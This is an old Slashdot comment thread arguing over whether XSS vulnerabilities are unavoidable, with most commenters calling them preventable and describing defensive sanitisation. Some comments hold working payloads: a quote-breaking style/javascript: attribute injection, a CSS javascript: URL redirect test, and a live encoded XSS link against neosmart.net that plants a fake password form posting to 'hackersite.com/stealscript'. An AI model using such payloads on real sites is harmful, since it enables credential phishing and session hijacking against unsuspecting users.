XSS Vulnerabilities Reviewed and Re-Classified

An anonymous reader writes "Security Analysts at NeoSmart Technologies have revisited the now-famous XSS-type security vulnerabilities and attempted to re-classify their status as a security vulnerability. The argument is that XSS vulnerabilities are not a mark of bad or insecure code but rather a nasty but unavoidable risk that's a part of JavaScript - and that even then, XSS 'vulnerable' sites are no less dangerous or vulnerable at heart." Are they unavoidable, or just a symptom of lazy coding, or both?

Comments

Well

[twalicek]

Samy is still my hero.

A hole is a hole

[Watson Ladd]

Saying that these holes don't matter because websites can't avoid them with the standard method of doing things is just plain wrong from a security standpoint. If you are dealing with sensitive data, secure it. If the standard way won't let you, don't do it the standard way.

User Content

[agnokapathetic]

As buzzwordy as Web 2.0 is, end-user content is rapidly becoming the majority of the visible end-user internet experience (e.g. Digg, MySpace, Facebook, etc.) With thousands/millions of users posting content, XSS filters start to become an arms race against the latest techniques. With Internet Explorer even rendering code with as valid code. Even when filters are put into place, all it takes is one XSS virus to take down an entire website.

Even disabling Javascript content all together in websites, with user content, other methods can be used to steal cookies/sessions/user credentials. Flash attacks are becoming more and more common, and are near impossible to protect against. Users demand dynamic user-driven content, the companies comply, I'm just surprised this hasn't been more prevalent.

--Joel
Ajax Translator

Crazy

[Bogtha]

The argument is that XSS vulnerabilities are not a mark of bad or insecure code but rather a nasty but unavoidable risk that's a part of JavaScript

Er, no. XSS attacks are caused by sloppy web application developers that fail to encode user-supplied data for output in the appropriate way, and by sloppy web developers that trust that whatever was submitted by a user was submitted by the user intentionally.

Both of these factors have technical solutions that are 100% effective and have been well-known for years. The former has nothing specifically to do with JavaScript anyway, it's just that the holes are most often used to sneak JavaScript onto a page.

This article is a total crock of shit. For instance when it says:

It is of the utmost importance to note that a page that has an "XSS vulnerablity" is no more dangerous than visiting a random result generated by a Google search

It's no more dangerous in terms of security for the client machine. If Hotmail has a security hole, it doesn't make it more likely that somebody will get onto your computer. But they can still read and delete your email, and send email from your account.

Actually, I take that back, it is more dangerous in terms of security for the client machine. With tools like the NoScript Firefox extension, and the similar mechanisms other browsers have, many people disable JavaScript for the random websites found with Google, but enable them for websites they trust, like Hotmail. So if Hotmail has an XSS vulnerability, they will be executing malicious JavaScript even though they only intended to allow trusted JavaScript to be executed.

This author seems to have no real clue about web security. I guess this is why Slashdot shouldn't link to random weblog entries.

XSS - a bug... sometimes

[madsheep]

I think someone would be pretty hard pressed to convince me that XSS cannot be considered the earmark of bad or insecure coding in all or most cases. If anyone reads full disclosure we all know that any given moron can spend 24 hours a day looking on every website to find some XSS bug in the page. Now just because XSS exists in a site does not make it insecure or poorly coded (the later is arguable). However, when these XSS bugs exist on websites that use session cookies or have a login of some sort that allows users to take actions, post, edit things, etc. then it is a product of insecure and poor coding. The risks exists when something can be gained by a threat source by conducting an XSS attack. If a user can post something on slashdot that slaps over my slashdot username and password or my session cookie (allowing them to jump in on slashdot right now and post as me) then it is a security risk. Finding a XSS issue on a webpage such as one that www.arin.net (see Full Disclosure) really doesn't do anything or represent a risk. It is more about what can be gained or done from the XSS attack. As a quick side not to this dicussion.. XSS is *VERY* easy to prevent. Much more so than SQL injection. Who knows maybe these people will try and reclassify SQL injection as not being a problem either. Sanitizing user input by not allowing it or for example converting to < and > respectively is pretty easy and will stop almost all of these attacks. There is no excuse for not being able to secure a page with such coding practices to protect your site and users.

Re:XSS - a bug... sometimes

[masklinn]

XSS is *VERY* easy to prevent. Much more so than SQL injection.

Uh? SQL Injection is trivial to prevent, just escape your user-provided content (most languages do it automagically for you if you use prepared statements btw, and by "most languages" I mean to say "just about every language but PHP before mysqli_ and PDO")

XSS, on the other hand, relies as much in your lack of escaping as in browser-specific "features" such as the ability of MSIE to execute arbitrary Javascript code embedded in CSS.

XSS is much harder to prevent than SQL Injection.

Which does not mean that it should ever be classified as "unavoidable" (it's not) or less dangerous than SQLI (it can, in fact, be much worse)

Yes, unavoidable.

[Spazmania]

Back in the 1980s' BBS days, I wrote a terminal emulator for the commodore 64 that would allow a BBS to enhance the user's experience by downloading and running short assembly programs. Users of any standard BBS software could even post such programs to the message boards for other users to enjoy.

JMP 64738 (system reset) was the unavoidable result. The next version of the software recognized that the functionality could not be secured and removed it.

Re:Yes, unavoidable.

[LordLucless]

There's a difference between that example and XSS attacks on a website.

In your example, the BBS was expecting code. It couldn't verify which code was good, and which code was bad, so it created an insecurity. On a website, the site expects textual content. It doesn't expect code. As long as you escape all user input properly, there's no chance of an XSS vulnerability. If you setup a website that allowed random users to upload javascript to be run on the site (rather than simply display the code as content) then that would be analogous to your BBS situation.

Re:Yes, unavoidable.

[Spazmania]

I should hope there are differences between my situation and XSS attacks. They're seperated by the better part of two decades of advances in computing.

Nevertheless, many of the fundamentals were similar:

1. The client (terminal emulator) allowed the server (BBS) to download and run code.
2. A BBS expecting a post (text message) received machine code from a user instead.
3. The BBS sent that code to the next viewer expecting a text message.
4. The viewer performed undesired and unauthorized actions as a result.

The biggest difference is that today's crop of programmers keep insisting they'll find a way to secure the scripting functionality while I gave it up for bad right away.

My take on this sort of thing

[dkleinsc]

XSS is not the problem. JavaScript is (just for the record, at NeoSmart we feel JavaScript is more of a headache than it is a life-saver..), and XSS is but a result of the (many) inherent security holes in JavaScript and not in the package itself!

That quote really says it all. The basic argument seems to be very simple: Javascript Sucks, Ergo XSS Vulnerabilities are inevitable. That's about as accurate as saying that if Chewbacca lives on Endor, you must acquit.

As someone who's had to wrangle plenty of Javascript, I agree that it sucks, but I disagree with any argument that security vulnerabilities are inevitable. These days, they seem to be more a product of adding features without thinking about the security implications (Hey, let's allow email viewed in Outlook to run scripts!) than poor implementations of those ideas. Although implementation problems play a part: You're busy coding the nifty new feature, you get to a point where it works, and you happily go and check it into CVS oblivious to the buffer overflow you've introduced.

Fundamentally, there's no such thing as a computer error, only a series of human errors buried deeply enough that they appear to be a computer error (with one exception, that of the expected hardware failure).

First language

[ptaff]

Are they unavoidable, or just a symptom of lazy coding, or both?

I wouldn't say lazy, but naive. Lots of people now cut their teeth at programming with HTML/Javascript and a simple server-side scripting language, like PHP or ASP. For a reason unknown, these simple languages (PHP especially) try to create a blanket so thick around the coder that most of them don't even think about validating input.

Crap like auto-string escaping, crap like automagic global variables, crap like easy access to eval(), auto variable casting, these help when learning to program so you can concentrate on the task at hand, but become a big fat no-no when deploying stuff in a networked environment.

Going back to my first programs in BASIC/C/C++, they were probably filled with holes; but for sure they weren't available for the world to hack.

This guy doesn't know what he is talking about!

[NerdENerd]

I work for a bank. A hacker found one page in the Internet banking system that echoed a value from a form into an error message. They then used this to inject some JavaScript which gathered user logons. They managed to acumulate about $70,000 of fools money into a holding account before they were caught. I don't feel particulay sorry for fools who fall for phishing scams but it was still a security hole in the web application that could simply be avoided by an echoding of values before echoing to the page. Since then all code is audited for SQL injection and XSS by an external company before being relesed to production.
XSS is a real security threat.

They are flat wrong

[Snowhare]

XSS is not unavoidable and it is a security vulnerability. Slashdot has a cookie based login system. This means that if there is an XSS vulnerability in Slashdot I can cause any action a logged in user (maybe, Commander Taco?) can cause by doing something as simple as tricking them into loading a web page with an 'invisible' 1 pixel tall frame exploiting the XSS. Saying XSS isn't a security vulnerability is like claiming that leaving your house keys under the doormat isn't a security vulnerability.

Re:Pardon Me?

[jmcguire81]

Sorry, but its not the same thing. XSS is strictly dealing with injecting JavaScript into a page so that it will be run in a visiting users browser. What you describe is known as RFI, Remote File Inclusion. This requires some very specific kinds of flaws in program logic to allow it to happen, while XSS can generally be found from any unfiltered content being echoed back in a web page.

Unavoidable?

[radical_dementia]

Perhaps the author is unaware of the PHP function strip_tags. Or in a more general sense, a simple regular expression can be used to remove script tags or all HTML tags from a string. That's seriously all you need to do to eliminate XSS. The only times when XSS holes exist are when lazy or oblivious coders forget to call the function on any input passed to a script.

As far as the seriousness of XSS, I think the author is heavily downplaying the issue. With the xmlhttprequest it is easier than ever to use XSS to hijack users' sessions. For example, in a messageboard post or something I could put a simple script that uses an xmlhttprequest object to send the user's cookies with the session id to a remote script. The script can then immediatly hijack the user's session and steal information or whatnot, before the user even navigates to a different page.

XSS has always been bullshit

[neuroxmurf]

If you allow local execution of code provided by untrusted remote sites, you have no security and never have, no matter how much the vendor assures you their "sandbox" is safe. XSS is not the security hole, it's just the latest batch of holes in the entire concept of client-side scripting.

Script tags isn't enough.

[The MAZZTer]

If I recall correctly, samy exploited MySpace (there's a link somewhere above if you never heard about it) by taking advantage of the fact that IE6 will execute Javascript: urls in CSS url() attributes (IE something like this:

background-image: url(javascript:codehere

Something like that at least. And of couse if you allow HTML tags with attributes anyone could stick a style="" on it and inject some javascript... in theory anyways.

I read somewhere, and I agree, that the best solution is to strip ALL HTML and use your own tag set (most web forums are way ahead in this department). If you do insist on allowing a subset of HTML, use whitelists to define allowed tags and attributes etc, instead of blacklists... because with a whitelist, if you leave something out, oh well someone can't use a tag they should be able to, it's more restrictive than it should be, they file a bug report and it's fixed. With a blacklist if you leave something out, it's a potential security hole.

Re:Script tags isn't enough.

[radical_dementia]

Yes, you are absolutely right! However it seems the possible damage is very limited. I just tried this out and it works in both Firefox 1.5 and IE6, but surprisingly NOT in IE7. Here is what I did:

First I made a css class called test in a seperate .css file in which the background-image property had the following text:

background-image: url('javascript:window.location=\'http://www.googl e.com\'')

Then I just made a simple html page with a div tag of that class. When I navigated to the page, it almost instantly redirected to google. It also worked with putting the same text in the style attribute of a tag. However, I tried doing some other things, such as calling alert() and document.write(), and appending document.cookie to the url, but these all did not work. In firefox, the javascript console reported "Uncaught Exception: Permission Denied" on those scripts. IE6 and 7 simply did nothing. So while you can use this to screw up a page, it doesn't seem like you can do more serious things like session hijacking. But I agree with you that the best solution is just to strip all HTML.

Can't understand

[Vexorian]

Bulletin Boards have been effective against these issues for ages with bbcodes that use [] instead of > < . Also wikipedia has excellent formatting features without letting users ever use an html tag by themselves.

By simply turning >< into &gt;&lt;before displaying content that was influenced by user input you get rid of every single XSS risk. If users complaint about it being too limited they should get their own site instead of depenging on blog/forum/ whatever other thing.

Re:Can't understand

[Mark Round]

"By simply turning > into >
Rubbish. That's one of the most basic errors made when people start trying to filter out XSS. Suppose you have a form that takes a user's name and then uses it in a hidden field on the next page ? You could quide easily do something like :

UserName" style="background:url(javascript:alert('Getting rid of angled brackets won't help you here'))

Not an angled bracket in there, yet on most systems that'll work and display a popup. Hence the reason it's really not that simple, and the parent post referrs to "an arms race against the latest techniques"

Re:Can't understand

[jani]

Yet even this can be too simplistic, since there may be other things that's happening in the background.

The first book to deal with this properly that I ever saw was Innocent Code by Sverre H. Huseby (ISBN 0-470-85744-7, Wiley).

I recommend this not only to people new to web programming, but also to seasoned programmers. There's more than one time that I've heard people say "pfah, I know the pit traps, I don't need this book", and a few weeks later tell me that there were things there they hadn't thought about.

The book is concise and to the point.

Note: I'm not neutral about this book; I was one of the people who read through the book and commented on it before publishing time, and Sverre is one of my friends.

Re:Can't understand

[piranha(jpl)]

As someone else has pointed out, that's a naïve and incorrect approach.

HTML is a standard. BBcode is a whim. HTML wins for its ubiquity. BBcode gives you nothing.

People that don't think they can effectively and safely include HTML content from untrusted sources are not viewing the problem in a formal way. Address the cause, not the symptom.

The cause is not thinking of and treating your HTML input as structured data. Rather, you're thinking of it as a character stream. Textual substitutions are a sign of that line of thought.

Your user's HTML content is a tree structure. Parse it. Then filter out all elements that are not in your allowed-elements list. Filter out all element attributes that are not in your allowed-attributes lists. Construct these lists by examining the HTML specification and considering the risks of each element or attribute.

Take it a step further. For each attribute value that contains a URI, parse that URI using a formal grammar. Filter out all URI schemes ("http", "ftp", etc) that are not in your allowed-schemes list. Certain characters, like non-printables, should never occur in a URI directly—signal an exception to the user to inform them of their error. Don't just stop if you don't find anything wrong! Reconstruct the URI from its constituent parts and replace the original with your sanitized version.

Likewise, formally parse all CSS code: in referenced external stylesheets, embedded stylesheets, and in style attributes. Filter out anything not explicitly allowed. Replace any URIs with the output of the same URI-sanitization function above. Reserialize the content. (This is hard; drop all CSS as a short-cut.)

When you're done, you'll serialize the HTML document and transmit that to your clients. I guarantee that this will eliminate XSS problems stemming from Internet Explorer incorrectly interpreting malformed HTML, CSS, or URIs. There are other attack vectors; be careful of what you allow to be included inline with documents, or linked to. (Think Flash.)

This is the correct solution, and most flexible to your users. It's not another idiosyncratic language to learn. It's the world standard for rich textual documents on the World Wide Web.

Unfortunately, it requires work.

Really?

[NerdENerd]

Click on this link for an example against CitiBank
CitiBank Exploit

Neowin: Lazy or Naive?

[humanaut]

well how about that.

http://neosmart.net/blog/index.php?s=%3Cbr+%2F%3E% 3Cbr+%2F%3E%3Cimg+src%3Dhttp%3A%2F%2Fwww.alan-alda .com%2Falan-alda.jpg%3E%3Cbr+%2F%3E%3Ch2%3EWelcome +to+the+Alan+Alda+fanclub.+Please+enter+your+passw ord.%3C%2Fh2%3E%3Cform+id%3D%22searchform%22+metho d%3D%22get%22+action%3D%22http%3A%2F%2Fwww.hackers ite.com%2Fstealscript%22%3E%3Cinput+type%3D%22text %22+name%3D%22s%22+id%3D%22s%22+size%3D%2215%22+%2 F%3E%3Cbr+%2F%3E%3Cinput+type%3D%22submit%22+value %3D%22Submit%22+%2F%3E%3C%2Fform%3E%3Cbr+%2F%3E

Note: if you are actually a member, please do not input your password. This is merely an XSS trick demonstrating a total lack of vulberability, sloppy coding or naivety on the part of neosmart.

"XSS is another one of those buzzwords

[damburger]

...we prefer to call it an 'unrequested Javascript surplus'"

But that isn't the best bit:

"Sites with XSS "vulnerabilities" aren't insecure. They're absoloutely no different than any other site - except that a user can manipulate the way content displays on an "insecure" page"

Thats like saying 'Pearl Harbour wasn't "vunerable". It was absolutely no different than any other naval base - except that the Japanese could drop bombs on it'